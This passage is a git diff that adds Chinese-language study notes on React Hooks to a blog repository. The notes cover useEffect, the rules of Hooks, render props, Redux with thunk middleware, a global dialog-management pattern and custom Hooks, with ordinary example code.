+什么是副作用呢?通常来说,副作用是指一段和当前执行结果无关的代码。比如说要修改函数外部的某个变量,要发起一个请求,等等。也就是说,在函数组件的当次执行过程中,useEffect 中代码的执行是不影响渲染出来的 UI 的。 + +我们先来看一下它的具体用法。useEffect 可以接收两个参数,函数签名如下: + +```js +useEffect(callback, dependencies) +``` + +第一个为要执行的函数 callback,第二个是可选的依赖项数组 dependencies。其中依赖项是可选的,如果不指定,那么 callback 就会在每次函数组件执行完后都执行;如果指定了,那么只有依赖项中的值发生变化的时候,它才会执行。 + +对应到 Class 组件,那么 useEffect 就涵盖了 ComponentDidMount、componentDidUpdate 和 componentWillUnmount 三个生命周期方法。不过如果你习惯了使用 Class 组件,那千万不要按照把 useEffect 对应到某个或者某几个生命周期的方法。你只要记住,**useEffect 是每次组件 render 完后判断依赖并执行就可以了。** + +举个例子,某个组件用于显示一篇 Blog 文章,那么这个组件会接收一个参数来表示 Blog 的 ID。而当 ID 发生变化时,组件需要发起请求来获取文章内容并展示: + +```jsx +import React, { useState, useEffect } from "react"; + +function BlogView({ id }) { + // 设置一个本地 state 用于保存 blog 内容 + const [blogContent, setBlogContent] = useState(null); + + useEffect(() => { + // useEffect 的 callback 要避免直接的 async 函数,需要封装一下 + const doAsync = async () => { + // 当 id 发生变化时,将当前内容清楚以保持一致性 + setBlogContent(null); + // 发起请求获取数据 + const res = await fetch(`/blog-content/${id}`); + // 将获取的数据放入 state + setBlogContent(await res.text()); + }; + doAsync(); + }, [id]); // 使用 id 作为依赖项,变化时则执行副作用 + + // 如果没有 blogContent 则认为是在 loading 状态 + const isLoading = !blogContent; + return
    {isLoading ? "Loading..." : blogContent}
    ; +} +``` + +useEffect 还有两个特殊的用法:**没有依赖项,以及依赖项作为空数组**。我们来具体分析下。 + +1. 没有依赖项,则每次 render 后都会重新执行。例如: + + ```jsx + useEffect(() => { + // 每次 render 完一定执行 + console.log('re-rendered'); + }); + ``` + +2. 空数组作为依赖项,则只在首次执行时触发,对应到 Class 组件就是 componentDidMount。例如: + + ```jsx + useEffect(() => { + // 组件首次渲染时执行,等价于 class 组件中的 componentDidMount + console.log('did mount'); + }, []) + ``` + +3. useEffect **还允许你返回一个函数,用于在组件销毁的时候做一些清理的操作。** + +总结一下,useEffect 让我们能够在下面四种时机去执行一个回调函数产生副作用: + +1. 每次 render 后执行:不提供第二个依赖项参数。比如useEffect(() => {})。 +2. 仅第一次 render 后执行:提供一个空数组作为依赖项。比如useEffect(() => {}, [])。 +3. 第一次以及依赖项发生变化后执行:提供依赖项数组。比如useEffect(() => {}, [deps])。 +4. 组件 unmount 后执行:返回一个回调函数。比如useEffect() => { return () => {} }, [])。 + +## 理解 Hooks 的依赖 + +那么在定义依赖项时,我们需要注意以下三点: + +1. 依赖项中定义的变量一定是会在回调函数中用到的,否则声明依赖项其实是没有意义的。 +2. 依赖项一般是一个常量数组,而不是一个变量。因为一般在创建 callback 的时候,你其实非常清楚其中要用到哪些依赖项了。 +3. **React 会使用浅比较来对比依赖项是否发生了变化,所以要特别注意数组或者对象类型**。如果你是每次创建一个新对象,即使和之前的值是等价的,也会被认为是依赖项发生了变化。这是一个刚开始使用 Hooks 时很容易导致 Bug 的地方。 + +```jsx +function Sample() { + // 这里在每次组件执行时创建了一个新数组 + const todos = [{ text: 'Learn hooks.'}]; + useEffect(() => { + console.log('Todos changed.'); + }, [todos]); +} +``` + +代码的原意可能是在 todos 变化的时候去产生一些副作用,但是这里的 todos 变量是在函数内创建的,实际上每次都产生了一个新数组。所以在作为依赖项的时候进行引用的比较,实际上被认为是发生了变化的。 + +## 掌握 Hooks 的使用规则 + +- **只能在函数组件的顶级作用域使用;只能在函数组件或者其他 Hooks 中使用。** + + 所谓顶层作用域,**就是 Hooks 不能在循环、条件判断或者嵌套函数内执行,而必须是在顶层。**同时 **Hooks 在组件的多次渲染之间,必须按顺序被执行。** + +- **Hooks 只能在函数组件或者其它 Hooks 中使用** + + Hooks 作为专门为函数组件设计的机制,使用的情况只有两种,**一种是在函数组件内,另外一种则是在自定义的 Hooks 里面。** + + 但是如果一定要在 Class 组件中使用,那应该如何做呢?其实有一个通用的机制,**那就是利用高阶组件的模式,将 Hooks 封装成高阶组件,从而让类组件使用。** + +## 使用 ESLint 插件帮助检查 Hooks 的使用 + +- 在 useEffect 的回调函数中使用的变量,都必须在依赖项中声明; + +- Hooks 不能出现在条件语句或者循环中,也不能出现在 return 之后; + +- Hooks 只能在函数组件或者自定义 Hooks 中使用。 + +专门用来检查 Hooks 是否正确被使用,它就是 eslint-plugin-react-hooks 。 + +```sh +npm install eslint-plugin-react-hooks --save-dev +``` + +然后在你的 ESLint 配置文件中加入两个规则:rules-of-hooks 和 exhaustive-deps。如下: + +```json +{ + "plugins": [ + // ... + "react-hooks" + ], + "rules": { + // ... + // 检查 Hooks 的使用规则 + "react-hooks/rules-of-hooks": "error", + // 检查依赖项的声明 + "react-hooks/exhaustive-deps": "warn" + } +} +``` + diff --git "a/src/React/React Hooks\347\254\224\350\256\260/\345\207\275\346\225\260\347\273\204\344\273\266\350\256\276\350\256\241\346\250\241\345\274\217.md" "b/src/React/React Hooks\347\254\224\350\256\260/\345\207\275\346\225\260\347\273\204\344\273\266\350\256\276\350\256\241\346\250\241\345\274\217.md" new file mode 100644 index 00000000..fbafb6db --- /dev/null +++ "b/src/React/React Hooks\347\254\224\350\256\260/\345\207\275\346\225\260\347\273\204\344\273\266\350\256\276\350\256\241\346\250\241\345\274\217.md" @@ -0,0 +1,169 @@ +--- +date: 2022-05-12 +category: +- React +- React Hooks +--- +# 函数组件设计模式 + +**所谓设计模式,就是针对特定场景,提供一种公认的最佳实践。** + +## 容器模式:实现按条件执行 Hooks + +> Hooks 必须在顶层作用域调用,而不能放在条件判断、循环等语句中,同时也不能在可能的 return 语句之后执行。换句话说,Hooks 必须按顺序被执行到。 + +这个规则存在的原因就在于,React 需要在函数组件内部维护所用到的 Hooks 的状态,所以我们无法在条件语句中使用 Hooks,这因而会给我们实现业务逻辑带来一定的局限。 + +比如说,对于一个对话框组件,通过 visible 属性来控制是否显示。那么在 visible 为 false 的时候,其实不应该执行任何对话框内部的逻辑,因为还没展示在 UI 上。 + +```jsx +import { Modal } from "antd"; +import useUser from "../09/useUser"; + +function UserInfoModal({ visible, userId, ...rest }) { + // 当 visible 为 false 时,不渲染任何内容 + if (!visible) return null; + // 这一行 Hook 在可能的 return 之后,会报错! + const { data, loading, error } = useUser(userId); + + return ( + + {/* 对话框的内容 */} + + ); +}; +``` + +可以看到,我们期望在对话框隐藏时通过返回 null 不去渲染任何内容,这个逻辑看上去非常自然直观。但是呢,它却通不过编译,因为在 return 语句之后使用了 useUser 这个 Hook。所以在你的编辑器配置了 React Hooks 的 ESLint 插件之后,会给出下面的错误提示: + +![img](https://cdn.yihuiblog.top/images/497d0d88e18a8a75237e7c22c2b9b3fb.png) + +解决做法就是**把条件判断的结果放到两个组件之中,确保真正 render UI 的组件收到的所有属性都是有值的。** + +可以在 UserInfoModal 外层加一个容器,这样就能实现条件渲染了。实现的代码如下: + +```jsx +// 定义一个容器组件用于封装真正的 UserInfoModal +export default function UserInfoModalWrapper({ + visible, + ...rest, // 使用 rest 获取除了 visible 之外的属性 +}) { + // 如果对话框不显示,则不 render 任何内容 + if (!visible) return null; + // 否则真正执行对话框的组件逻辑 + return ; +} +``` + +在容器模式中我们其实也可以看到,条件的隔离对象是多个子组件,这就意味着它通常用于一些比较大块逻辑的隔离。所以对于一些比较细节的控制,其实还有一种做法,**就是把判断条件放到 Hooks 中去。** + +```jsx +const ArticleView = ({ id }) => { + const { data: article, loading } = useArticle(id); + let user = null; + if (article?.userId) user = useUser(article?.userId).data; + // 组件其它逻辑 +} +``` + +```jsx +function useUser(id) { + const [data, setData] = useState(null); + const [loading, setLoading] = useState(false); + const [error, setError] = useState(null); + useEffect(() => { + // 当 id 不存在,直接返回,不发送请求 + if (!id) return + // 获取用户信息的逻辑 + }); +} +``` + +通过这样一个容器模式,我们把原来需要条件运行的 Hooks 拆分成子组件,然后通过一个容器组件来进行实际的条件判断,从而渲染不同的组件,实现按条件渲染的目的 + +## 使用 render props 模式重用 UI 逻辑 + +**render props 就是把一个 render 函数作为属性传递给某个组件,由这个组件去执行这个函数从而 render 实际的内容。** + +在 Class 组件时期,render props 和 HOC(高阶组件)两种模式可以说是进行逻辑重用的两把利器,但是实际上,HOC 的所有场景几乎都可以用 render props 来实现。可以说,**Hooks 是逻辑重用的第一选择。** + +不过在如今的函数组件情况下,Hooks 有一个局限,那就是只能用作数据逻辑的重用,而一旦涉及 UI 表现逻辑的重用,就有些力不从心了,而这正是 render props 擅长的地方。所以,即使有了 Hooks,我们也要掌握 render props 这个设计模式的用法。 + +如果有 UI 展示的逻辑需要重用,那么我们还是必须借助于 render props 的逻辑,这就是我一再强调必须要掌握 render props 这种设计模式的原因。 + +### 举个栗子 + + + +```jsx +import { Popover } from "antd"; + +function ListWithMore({ renderItem, data = [], max }) { + const elements = data.map((item, index) => renderItem(item, index, data)); + const show = elements.slice(0, max); + const hide = elements.slice(max); + return ( + + {show} + {hide.length > 0 && ( + {hide}}> + + and{" "} + {hide.length} more... + + + )} + + ); +} +``` + + + +```jsx +// 这里用一个示例数据 +import data from './data'; + +function ListWithMoreExample () => { + return ( +
    +

    User Names

    +
    + Liked by:{" "} + { + return {user.name}; + }} + data={data} + max={3} + /> +
    +
    +
    +

    User List

    +
    +
    + Name + City + Job Title +
    + { + return ( +
    + {user.name} + {user.city} + {user.job} +
    + ); + }} + data={data} + max={5} + /> +
    +
    + ); +}; +``` + +可以看到,代码里使用了两个 ListWithMore 组件,通过 renderItem 这个属性,我们可以自主决定该如何渲染每一个列表项,从而把一部分 UI 逻辑抽象出来,形成一个可复用的逻辑,以简化不同场景的使用。 diff --git "a/src/React/React Hooks\347\254\224\350\256\260/\345\234\250\345\207\275\346\225\260\347\273\204\344\273\266\344\270\255\344\275\277\347\224\250 Redux.md" "b/src/React/React Hooks\347\254\224\350\256\260/\345\234\250\345\207\275\346\225\260\347\273\204\344\273\266\344\270\255\344\275\277\347\224\250 Redux.md" new file mode 100644 index 00000000..f627ee5c --- /dev/null +++ "b/src/React/React Hooks\347\254\224\350\256\260/\345\234\250\345\207\275\346\225\260\347\273\204\344\273\266\344\270\255\344\275\277\347\224\250 Redux.md" @@ -0,0 +1,235 @@ +--- +date: 2022-05-19 +category: +- React +- Redux +--- + +# 在函数组件中使用 Redux + +## Redux 出现的背景 + +组件级别的 state,和从上而下传递的 props 这两个状态机制,无法满足复杂功能的需要。例如跨层级之间的组件的数据共享和传递。我们可以从下图的对比去理解: + +![img](https://cdn.yihuiblog.top/images/f3ba61ff5de2c3c6fbd658a22c00bf46.png) + +其中左图是单个 React 组件,它的状态可以用内部的 state 来维护,而且这个 state 在组件外部是无法访问的。而右图则是使用 Redux 的场景,用全局唯一的 Store 维护了整个应用程序的状态。可以说,对于页面的多个组件,都是从这个 Store 来获取状态的,保证组件之间能够共享状态。 + +Redux Store 的两个特点: + +1. **Redux Store 是全局唯一的**。即整个应用程序一般只有一个 Store。 +2. **Redux Store 是树状结构**,可以更天然地映射到组件树的结构,虽然不是必须的。 + +我们通过把状态放在组件之外,就可以让 React 组件成为更加纯粹的表现层,那么很多对于业务数据和状态数据的管理,就都可以在组件之外去完成(后面课程会介绍的 Reducer 和 Action)。同时这也天然提供了状态共享的能力,有两个场景可以典型地体现出这一点。 + +1. 跨组件的状态共享:当某个组件发起一个请求时,将某个 Loading 的数据状态设为 True,另一个全局状态组件则显示 Loading 的状态。 +2. 同组件多个实例的状态共享:某个页面组件初次加载时,会发送请求拿回了一个数据,切换到另外一个页面后又返回。这时数据已经存在,无需重新加载。设想如果是本地的组件 state,那么组件销毁后重新创建,state 也会被重置,就还需要重新获取数据。 + +## 理解 Redux 的三个基本概念 + +Redux 引入的概念其实并不多,主要就是三个:State、Action 和 Reducer。 + +- State 即 Store,一般就是一个纯 JavaScript Object。 +- Action 也是一个 Object,用于描述发生的动作。 +- Reducer 则是一个函数,接收 Action 和 State 并作为参数,通过计算得到新的 Store。 + +img + +在 Redux 中,所有对于 Store 的修改都必须通过这样一个公式去完成,即通过 Reducer 完成,而不是直接修改 Store。这样的话,一方面可以保证数据的不可变性(Immutable),同时也能带来两个非常大的好处。 + +1. 可预测性(Predictable):即给定一个初始状态和一系列的 Action,一定能得到一致的结果,同时这也让代码更容易测试。 +2. 易于调试:可以跟踪 Store 中数据的变化,甚至暂停和回放。因为每次 Action 产生的变化都会产生新的对象,而我们可以缓存这些对象用于调试。Redux 的基于浏览器插件的开发工具就是基于这个机制,非常有利于调试。 + +举个栗子:+1和-1操作 + +```js + +import { createStore } from 'redux' + +// 定义 Store 的初始值 +const initialState = { value: 0 } + +// Reducer,处理 Action 返回新的 State +function counterReducer(state = initialState, action) { + switch (action.type) { + case 'counter/incremented': + return { value: state.value + 1 } + case 'counter/decremented': + return { value: state.value - 1 } + default: + return state + } +} + +// 利用 Redux API 创建一个 Store,参数就是 Reducer +const store = createStore(counterReducer) + +// Store 提供了 subscribe 用于监听数据变化 +store.subscribe(() => console.log(store.getState())) + +// 计数器加 1,用 Store 的 dispatch 方法分发一个 Action,由 Reducer 处理 +const incrementAction = { type: 'counter/incremented' }; +store.dispatch(incrementAction); +// 监听函数输出:{value: 1} + +// 计数器减 1 +const decrementAction = { type: 'counter/decremented' }; +store.dispatch(decrementAction) +// 监听函数输出:{value: 0} +``` + +通过这段代码,我们就用三个步骤完成了一个完整的 Redux 的逻辑: + +1. 先创建 Store; +2. 再利用 Action 和 Reducer 修改 Store; +3. 最后利用 subscribe 监听 Store 的变化。 + +## 如何在 React 中使用 Redux + +在 react-redux 的实现中,为了确保需要绑定的组件能够访问到全局唯一的 Redux Store,利用了 React 的 Context 机制去存放 Store 的信息。通常我们会将这个 Context 作为整个 React 应用程序的根节点。因此,作为 Redux 的配置的一部分,我们通常需要如下的代码: + +```jsx +import React from 'react' +import ReactDOM from 'react-dom' + +import { Provider } from 'react-redux' +import store from './store' + +import App from './App' + +const rootElement = document.getElementById('root') +ReactDOM.render( + + + , + rootElement +) +``` + +完成了这样的配置之后,在函数组件中使用 Redux 就非常简单了:利用 react-redux 提供的 useSelector 和 useDispatch 这两个 Hooks。 + +Hooks 的本质就是提供了让 React 组件能够绑定到某个可变的数据源的能力。在这里,当 Hooks 用到 Redux 时可变的对象就是 Store,而 useSelector 则让一个组件能够在 Store 的某些数据发生变化时重新 render。 + +以官方给的计数器例子为例,说明如何在 React 中使用 Redux: + +```jsx +import React from 'react' +import { useSelector, useDispatch } from 'react-redux' + +export function Counter() { + // 从 state 中获取当前的计数值 + const count = useSelector(state => state.value) + + // 获得当前 store 的 dispatch 方法 + const dispatch = useDispatch() + + // 在按钮的 click 时间中去分发 action 来修改 store + return ( +
    + + {count} + +
    + ) +} +``` + +此外,通过计数器这个例子,我们还可以看到 React 和 Redux 共同使用时的单向数据流: + +![img](https://cdn.yihuiblog.top/images/b6991fd03d27ee987b1cd29ae16552e0.png) + +需要强调的是,在实际的使用中,我们无需关心 View 是如何绑定到 Store 的某一部分数据的,因为 React-Redux 帮我们做了这件事情。总结来说,通过这样一种简单的机制,Redux 统一了更新数据状态的方式,让整个应用程序更加容易开发、维护、调试和测试。 + +## 使用 Redux 处理异步逻辑 + +比如对于发送请求获取数据这样一个异步的场景,我们来看看涉及到 Store 数据会有哪些变化: + +1. 请求发送出去时:设置 state.pending = true,用于 UI 显示加载中的状态; +2. 请求发送成功时:设置 state.pending = false, state.data = result。即取消 UI 的加载状态,同时将获取的数据放到 store 中用于 UI 的显示。 +3. 请求发送失败时:设置 state.pending = false, state.error = error。即取消 UI 的加载状态,同时设置错误的状态,用于 UI 显示错误的内容。 + +前面提到,任何对 Store 的修改都是由 action 完成的。那么对于一个异步请求,上面的三次数据修改显然必须要三个 action 才能完成。那么假设我们在 React 组件中去做这个发起请求的动作,代码逻辑应该类似如下: + +```jsx +function DataList() { + const dispatch = useDispatch(); + // 在组件初次加载时发起请求 + useEffect(() => { + // 请求发送时 + dispatch({ type: 'FETCH_DATA_BEGIN' }); + fetch('/some-url').then(res => { + // 请求成功时 + dispatch({ type: 'FETCH_DATA_SUCCESS', data: res }); + }).catch(err => { + // 请求失败时 + dispatch({ type: 'FETCH_DATA_FAILURE', error: err }); + }) + }, []); + + // 绑定到 state 的变化 + const data = useSelector(state => state.data); + const pending = useSelector(state => state.pending); + const error = useSelector(state => state.error); + + // 根据 state 显示不同的状态 + if (error) return 'Error.'; + if (pending) return 'Loading...'; + return
    ; +} +``` + +但是很显然,发送请求获取数据并进行错误处理这个逻辑是不可重用的。假设我们希望在另外一个组件中也能发送同样的请求,就不得不将这段代码重新实现一遍。因此,Redux 中提供了 middleware 这样一个机制,让我们可以巧妙地实现所谓异步 Action 的概念。 + +简单来说,middleware 可以让你提供一个拦截器在 reducer 处理 action 之前被调用。在这个拦截器中,你可以自由处理获得的 action。无论是把这个 action 直接传递到 reducer,或者构建新的 action 发送到 reducer,都是可以的。 + +Middleware 正是在 Action 真正到达 Reducer 之前提供的一个额外处理 Action 的机会: + +![img](https://cdn.yihuiblog.top/images/b438a3e944c5f15911637868e78cd13a.png) + +我们刚才也提到了,Redux 中的 Action 不仅仅可以是一个 Object,它可以是任何东西,也可以是一个函数。利用这个机制,Redux 提供了 redux-thunk 这样一个中间件,它如果发现接受到的 action 是一个函数,那么就不会传递给 Reducer,而是执行这个函数,并把 dispatch 作为参数传给这个函数,从而在这个函数中你可以自由决定何时,如何发送 Action。 + +例如对于上面的场景,假设我们在创建 Redux Store 时指定了 redux-thunk 这个中间件: + +```js +import { createStore, applyMiddleware } from 'redux' +import thunkMiddleware from 'redux-thunk' +import rootReducer from './reducer' + +const composedEnhancer = applyMiddleware(thunkMiddleware) +const store = createStore(rootReducer, composedEnhancer) +``` + +那么在我们 dispatch action 时就可以 dispatch 一个函数用于来发送请求,通常,我们会写成如下的结构: + +```js +function fetchData() { + return dispatch => { + dispatch({ type: 'FETCH_DATA_BEGIN' }); + fetch('/some-url').then(res => { + dispatch({ type: 'FETCH_DATA_SUCCESS', data: res }); + }).catch(err => { + dispatch({ type: 'FETCH_DATA_FAILURE', error: err }); + }) + } +} +``` + +那么在我们 dispatch action 时就可以 dispatch 一个函数用于来发送请求,通常,我们会写成如下的结构: + +```js +import fetchData from './fetchData'; + +function DataList() { + const dispatch = useDispatch(); + // dispatch 了一个函数由 redux-thunk 中间件去执行 + dispatch(fetchData()); +} +``` + +所以说异步 Action 并不是一个具体的概念,而可以把它看作是 Redux 的一个使用模式。它通过组合使用同步 Action ,在没有引入新概念的同时,用一致的方式提供了处理异步逻辑的方案。 + + \ No newline at end of file diff --git "a/src/React/React Hooks\347\254\224\350\256\260/\345\246\202\344\275\225\345\261\225\347\244\272\345\257\271\350\257\235\346\241\206\357\274\214\345\271\266\347\273\231\345\257\271\350\257\235\346\241\206\344\274\240\351\200\222\345\217\202\346\225\260\357\274\237.md" "b/src/React/React Hooks\347\254\224\350\256\260/\345\246\202\344\275\225\345\261\225\347\244\272\345\257\271\350\257\235\346\241\206\357\274\214\345\271\266\347\273\231\345\257\271\350\257\235\346\241\206\344\274\240\351\200\222\345\217\202\346\225\260\357\274\237.md" new file mode 100644 index 00000000..c1d753e7 --- /dev/null +++ "b/src/React/React Hooks\347\254\224\350\256\260/\345\246\202\344\275\225\345\261\225\347\244\272\345\257\271\350\257\235\346\241\206\357\274\214\345\271\266\347\273\231\345\257\271\350\257\235\346\241\206\344\274\240\351\200\222\345\217\202\346\225\260\357\274\237.md" @@ -0,0 +1,268 @@ +--- +date: 2022-08-18 +category: +- React +- React Hooks +--- + +# 如何展示对话框,并给对话框传递参数? + +案例导入:处理对话框的误区为了方便你理解这两点,我给你举一个实际场景的例子,你就能明白为什么说在 React 中,常用的对话框是比较难处理的。比如说我们需要实现下面这个截图演示的功能: + +![img](https://cdn.yihuiblog.top/images/202208181101388.png) + +那么,一般会用类似下面的代码逻辑去实现: + +```jsx +function MainLayout() { + const [modalVisible, setModalVisible] = useState(false); + const [user, setUser] = useState(null); + const showUserModal = (user) => { + setModalVisible(true); + setUser(user); + } + return ( +
    + + showUserModal(user)}/> + +
    + ); +} +``` + +在这段代码中,我们将 UserInfoModal 这个对话框组件定义在了父组件 Layout 中,通过 visible 控制其是否显示。然后再在 Sider 和 UserList 这两个组件中,用自定义事件来告知父组件,用户点击了某个按钮了,应该显示对话框。 + +### 存在问题 + +**一、语义隔离不明** + +MainLayout 这个组件应该只做布局的事情,而不应该有其他的业务逻辑。但是在这里,由于我们加入了用户信息处理的逻辑,就让本不相关的两块功能产生了依赖。而且,如果要增加另外一个对话框,那意味着又要在 Layout 上增加新的业务逻辑了。这样的话,代码很快就会变得臃肿,且难以理解和维护。 + +**二、 难以扩展** + +现在我们只是在 MainLayout 下面的两个组件共享了对话框,但是如果和 MainLayout 同级的组件也要访问这个对话框呢?又或者, MainLayout 下面的某个深层级的孙子组件也要能显示同一个对话框呢?这样处理的话就会非常麻烦。前者意味着代码需要重构,继续提升状态到父组件;后者意味着业务逻辑处理更复杂,需要通过层层的自定义事件回调来完成。所以,按照 React 方式的做法,或者大多数教程上演示的对话框的用法,其实在实际项目中是会遇到上面所述的各种问题。 + +**而这些问题的本质就是,一个实现业务逻辑的 Modal 究竟应该在哪个组件中去声明?又该怎么和它进行交互呢?** + +## 思路: 使用全局状态管理所有的对话框 + +基于这样一个设想,我们就来尝试去设计一个 API 去做对话框的全局管理。假设我们将这个对话框的实现命名为 NiceModal,那么我们的目标就是能够用以下的方式去操作对话框: + +```js + +// 通过 create API 创建一个对话框,主要为了能够全局的控制对话框的展现 +const UserInfoModal = NiceModal.create( + 'user-info-modal', + RealUserInfoModal +); + +// 创建一个 useNiceModal 这样的 Hook,用于获取某个 id 的对话框的操作对象 +const modal = useNiceModal('user-info-modal'); +// 通过 modal.show 显示一个对话框,并能够给它传递参数 +modal.show(args); +// 通过 modal.hide 关闭对话框 +modal.hide(); +``` + +## 实现:创建 NiceModal 组件和相关 API + +首先要考虑的便是如何管理全局状态,在这里我们以 Redux 为例,来创建一个可以处理所有对话框状态的 reducer: + +```js +const modalReducer = (state = { hiding: {} }, action) => { + switch (action.type) { + case "nice-modal/show": + const { modalId, args } = action.payload; + return { + ...state, + // 如果存在 modalId 对应的状态,就显示这个对话框 + [modalId]: args || true, + // 定义一个 hiding 状态用于处理对话框关闭动画 + hiding: { + ...state.hiding, + [modalId]: false, + }, + }; + case "nice-modal/hide": + const { modalId, force } = action.payload; + // 只有 force 时才真正移除对话框 + return action.payload.force + ? { + ...state, + [modalId]: false, + hiding: { [modalId]: false }, + } + : { ...state, hiding: { [.modalId]: true } }; + default: + return state; + } +}; +``` + +这段代码的主要思路就是通过 Redux 的 store 去存储每个对话框状态和参数。在这里,我们设计了两个 action ,分别用来显示和隐藏对话框。特别要注意的是,这里我们加入了 hiding 这样一个状态,用来处理对话框关闭过程的动画,确保用户体验。为了让 Redux 的 action 使用起来更方便,我们可以定义一个 useNiceModal 这样的 Hook,在其内部封装对 Store 的操作,从而实现对话框状态管理的逻辑重用,并以更友好的方式暴露给用户: + +```js + +// 使用 action creator 来创建显示和隐藏对话框的 action +function showModal(modalId, args) { + return { + type: "nice-modal/show", + payload: { + modalId, + args, + }, + }; +} + +function hideModal(modalId, force) { + return { + type: "nice-modal/hide", + payload: { + modalId, + force, + }, + }; +} + +// 创建自定义 Hook 用于处理对话框逻辑 +export const useNiceModal = (modalId) => { + const dispatch = useDispatch(); + // 封装 Redux action 用于显示对话框 + const show = useCallback((args) => { + dispatch(showModal(modalId, args)); + }, [ + dispatch, + modalId, + ]); + // 封装 Redux action 用于隐藏对话框 + const hide = useCallback((force) => { + dispatch(hideModal(modalId, force)); + }, [ + dispatch, + modalId, + ]); + + const args = useSelector((s) => s[modalId]); + const hiding = useSelector((s) => s.hiding[modalId]); + + // 只要有参数就认为对话框应该显示,如果没有传递 args,在reducer 中会使用 + // 默认值 true + return { args, hiding, visible: !!args, show, hide }; +}; +``` + +同时,我们可以实现 NiceModal 这样一个组件,去封装通用的对话框操作逻辑。比如关闭按钮,确定按钮的事件处理,等等。为了方便演示,我们以 Ant Design 中的 Modal 组件为例: + +```jsx +function NiceModal({ id, children, ...rest }) { + const modal = useNiceModal(id); + return ( + modal.hide()} // 默认点击 cancel 时关闭对话框 + onOk={() => modal.hide()} // 默认点击确定关闭对话框 + afterClose={() => modal.hide(true)} // 动画完成后真正关闭 + visible={!modal.hiding} + {...rest} // 允许在使用 NiceModal 时透传参数给实际的 Modal + > + {children} + + ); +} +``` + +最后呢,我们用一个第 10 讲提到的容器模式,它会在对话框不可见时直接返回 null,从而不渲染任何内容;并且确保即使页面上定义了 100 个对话框,也不会影响性能: + +```jsx +export const createNiceModal = (modalId, Comp) => { + return (props) => { + const { visible, args } = useNiceModal(modalId); + if (!visible) return null; + return ; + }; +}; +``` + +使用 + +```jsx + +import { Button } from "antd"; +import NiceModal, { + createNiceModal, + useNiceModal, +} from "./NiceModal"; + +const MyModal = createNiceModal("my-modal", () => { + return ( + + Hello NiceModal! + + ); +}); + +function MyModalExample() { + const modal = useNiceModal("my-modal"); + return ( + <> + + + + ); +} +``` + +通过这个 Modal ID,我们就能够在应用的任何组件中去管理这个对话框了。 + +### 处理对话框返回值 + +```js +const modal = useNiceModal('my-modal'); +// 实现一个 promise API 来处理返回值 +modal.show(args).then(result => {}); +``` + +事实上,要实现这样一个机制并不困难,就是在 useNiceModal 这个 Hook 的实现中提供一个 modal.resolve 这样的方法,能够去 resolve modal.show 返回的 Promise。 + +代码的核心思路就是将 show 和 resolve 两个函数通过 Promise 联系起来。因为两个函数的调用位置不一样,所以我们使用了一个局部的临时变量,来存放 resolve 回调函数。通过这样的机制,就可以在对话框中去调用 modal.resolve 来返回值了。 + +```js + +// 使用一个 object 缓存 promise 的 resolve 回调函数 +const modalCallbacks = {}; +export const useNiceModal = (modalId) => { + const dispatch = useDispatch(); + const show = useCallback( + (args) => { + return new Promise((resolve) => { + // 显示对话框时,返回 promise 并且将 resolve 方法临时存起来 + modalCallbacks[modalId] = resolve; + dispatch(showModal(modalId, args)); + }); + }, + [dispatch, modalId], + ); + const resolve = useCallback( + (args) => { + if (modalCallbacks[modalId]) { + // 如果存在 resolve 回调函数,那么就调用 + modalCallbacks[modalId](args); + // 确保只能 resolve 一次 + delete modalCallbacks[modalId]; + } + }, + [modalId], + ); + + // 其它逻辑... + + // 将 resolve 也作为返回值的一部分 + return { show, hide, resolve, visible, hiding }; +}; +``` + +这段示意代码包括两个部分。首先是在 UserList 的表格组件中,由编辑按钮触发对话框的显示,并在对话框返回后,将用户输入更新到表格。第二部分则是在对话框中,用户点击了确定按钮后调用 modal.resolve 方法,将用户输入返回给 UserList 组件,从而完成整个编辑流程。 + +[演示代码](https://codesandbox.io/s/react-hooks-course-20vzg) diff --git "a/src/React/React Hooks\347\254\224\350\256\260/\350\207\252\345\256\232\344\271\211 Hooks.md" "b/src/React/React Hooks\347\254\224\350\256\260/\350\207\252\345\256\232\344\271\211 Hooks.md" new file mode 100644 index 00000000..98c42030 --- /dev/null +++ "b/src/React/React Hooks\347\254\224\350\256\260/\350\207\252\345\256\232\344\271\211 Hooks.md" @@ -0,0 +1,322 @@ +--- +date: 2022-05-17 +category: +- React +- React Hooks +--- + +# 自定义 Hooks + +自定义 Hooks 在形式上其实非常简单,就是声明一个名字以 use 开头的函数,比如 useCounter。这个函数在形式上和普通的 JavaScript 函数没有任何区别,你可以传递任意参数给这个 Hook,也可以返回任何值。 + +但是要注意,**Hooks 和普通函数在语义上是有区别的,就在于函数中有没有用到其它 Hooks。** + +什么意思呢?就是说如果你创建了一个 useXXX 的函数,但是内部并没有用任何其它 Hooks,那么这个函数就不是一个 Hook,而只是一个普通的函数。但是如果用了其它 Hooks ,那么它就是一个 Hook。 + +举一个简单的例子,我们看到过一个简单计数器的实现,当时把业务逻辑都写在了函数组件内部,但其实是可以把业务逻辑提取出来成为一个 Hook。比如下面的代码: + +```jsx +import { useState, useCallback }from 'react'; + +function useCounter() { + // 定义 count 这个 state 用于保存当前数值 + const [count, setCount] = useState(0); + // 实现加 1 的操作 + const increment = useCallback(() => setCount(count + 1), [count]); + // 实现减 1 的操作 + const decrement = useCallback(() => setCount(count - 1), [count]); + // 重置计数器 + const reset = useCallback(() => setCount(0), []); + + // 将业务逻辑的操作 export 出去供调用者使用 + return { count, increment, decrement, reset }; +} +``` + +**一方面能让这个逻辑得到重用,另外一方面也能让代码更加语义化,并且易于理解和维护。** + +从这个例子,我们可以看到自定义 Hooks 的两个特点: + +1. 名字一定是以 use 开头的函数,这样 React 才能够知道这个函数是一个 Hook; +2. 函数内部一定调用了其它的 Hooks,可以是内置的 Hooks,也可以是其它自定义 Hooks。这样才能够让组件刷新,或者去产生副作用。 + +## 封装通用逻辑:useAsync + +**发起异步请求获取数据并显示在界面上。** + +```jsx +import { useState } from 'react'; + +const useAsync = (asyncFunction) => { + // 设置三个异步逻辑相关的 state + const [data, setData] = useState(null); + const [loading, setLoading] = useState(false); + const [error, setError] = useState(null); + // 定义一个 callback 用于执行异步逻辑 + const execute = useCallback(() => { + // 请求开始时,设置 loading 为 true,清除已有数据和 error 状态 + setLoading(true); + setData(null); + setError(null); + return asyncFunction() + .then((response) => { + // 请求成功时,将数据写进 state,设置 loading 为 false + setData(response); + setLoading(false); + }) + .catch((error) => { + // 请求失败时,设置 loading 为 false,并设置错误状态 + setError(error); + setLoading(false); + }); + }, [asyncFunction]); + + return { execute, loading, data, error }; +}; +``` + +那么有了这个 